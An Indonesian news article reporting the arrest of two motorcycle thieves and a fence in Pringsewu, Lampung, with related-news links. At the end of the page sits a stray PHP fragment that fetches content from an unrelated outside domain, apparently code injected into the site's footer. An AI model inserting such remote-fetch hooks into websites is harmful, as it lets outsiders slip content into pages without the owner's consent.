Tiga Pelaku Pencurian Motor di Pringsewu Dibekuk, Salah Satunya Penadah

Jumat, 13 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pringsewu – jejakkasus.info

Polsek Pagelaran, Polres Pringsewu berhasil menangkap komplotan pencuri kendaraan bermotor yang meresahkan masyarakat di wilayahnya. Dalam pengungkapan kasus ini, polisi berhasil meringkus tiga orang pelaku yang seluruhnya merupakan warga Kabupaten Tanggamus.

Kapolsek Pagelaran, AKP Sudirman, SH, mewakili Kapolres Pringsewu, AKBP M. Yunnus Saputra, menjelaskan bahwa ketiga pelaku yang diamankan tersebut terdiri dari dua pelaku utama pencurian berinisial RI (32) dan RA (24), warga Kecamatan Pugung, serta satu pelaku lainnya yang juga warga Kecamatan Pugung, berinisial HI alias Cecep (39) yang diduga sebagai penadah barang hasil kejahatan. Mereka diamankan polisi di kediamnya masing-masing pada Rabu (11/9/2024) malam.

Baca Juga:  Komplotan Pencuri Sepeda Moto Ditangkap Polisi, Mengaku Sudah Beraksi di Belasan TKP

“Ketiga pelaku ini diamankan atas dugaan terlibat dalam tindak pidana pencurian 1 unit sepeda motor Yamaha Aerox BE 5747 UV dan 1 unit handphone Poco milik Jericho (23), warga Pekon Pagelaran. Pencurian ini terjadi pada Minggu, 4 Agustus 2024, sekitar pukul 02.00 WIB, saat korban sedang tertidur lelap,” ujar AKP Sudirman pada Jumat (13/9/2024) siang.

Kejadian bermula ketika pelaku RI dan RA bersama seorang rekannya yang masih buron mendatangi rumah korban. Setelah berhasil membobol jendela bagian belakang rumah, mereka mengambil sepeda motor yang terparkir di ruang tengah dan handphone yang tergeletak di meja kamar. Atas kejadian ini, korban mengalami kerugian sekitar Rp32,6 juta.

Baca Juga:  Selamat Hari Jadi SDIT Cahaya Madani Kabupaten Pringsewu Yang Ke 10 Tahun

Sepeda motor dan handphone milik korban kemudian dijual oleh para pelaku kepada tersangka HI alias Cecep seharga Rp6 juta. Setelah itu, Cecep menjual sepeda motor tersebut kepada orang lain yang tidak dikenal secara COD (cash on delivery) seharga Rp6,3 juta.

“Pencurian ini juga melibatkan seorang pelaku lain yang masih buron. Pelaku tersebut berperan mengantarkan dua pelaku utama ke lokasi kejadian serta mengawasi situasi di sekitar rumah korban. Dia juga berperan menjual barang hasil kejahatan kepada tersangka HI alias Cecep,” jelasnya.

Baca Juga:  Polda Banten Sekat dan Tutup Akses Jalan Ke lokasi Wisata

Selain menangkap ketiga pelaku, Kapolsek menyebutkan bahwa pihaknya turut mengamankan barang bukti berupa handphone milik korban yang hilang dan sepeda motor yang digunakan para pelaku saat melakukan kejahatan.

Lebih lanjut, ia mengatakan bahwa penyidik Unit Reskrim masih mendalami kasus ini. Ia juga menyampaikan bahwa para tersangka akan dijerat dengan Pasal 363 KUHP tentang pencurian dengan pemberatan serta Pasal 480 KUHP tentang penadahan.

“Pelaku RI dan RA terancam hukuman penjara hingga 7 tahun, sementara pelaku HI terancam hukuman 4 tahun penjara,” tandasnya. (Bambang)

Penulis : Bambang hartono

Editor : Bambang hartono

Sumber Berita : Humas Polres Pringsewu

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ngaku Anggota DPRD Balam Pengunjung Tak Mau Bayar : Karoke De’Amore Eks Thanos Diduga Belum Memiliki Ijin Lengkap
Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe
Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama
Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat
RSUDAM Lampung Diduga Abaikan Anggaran Rp500 Juta untuk Pemeliharaan Lingkungan
Percepat Atasi Masalah Sampah, Pj.Bupati Pringsewu Temui Direktur Sanitasi PUPR
Kemitraan Media Massa dan Bawaslu Lampung Selatan Awasi Pemilu 2024
CV. Saloui Pitu Klarifikasi Isu Pemberitaan Terkait Rehabilitasi Jaringan Irigasi di Way Sulan

Berita Terkait

Jumat, 4 Oktober 2024 - 07:28 WIB

Ngaku Anggota DPRD Balam Pengunjung Tak Mau Bayar : Karoke De’Amore Eks Thanos Diduga Belum Memiliki Ijin Lengkap

Jumat, 4 Oktober 2024 - 06:58 WIB

Pj. Gubernur Lampung apresiasi Dr. Marindo yang peduli UMKM melalui dekrafe

Kamis, 3 Oktober 2024 - 10:22 WIB

Pemkab Tanggamus Luncurkan Inovasi Penerbitan Akte Perkawinan Kolaborasi Tokoh Agama

Kamis, 3 Oktober 2024 - 07:50 WIB

Lapor Pak Prabowo, Anggota DPRD Lamsel F-Gerindra Ini Kampanye Bagikan Migor Ilegal ke Masyarakat

Rabu, 2 Oktober 2024 - 22:23 WIB

RSUDAM Lampung Diduga Abaikan Anggaran Rp500 Juta untuk Pemeliharaan Lingkungan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>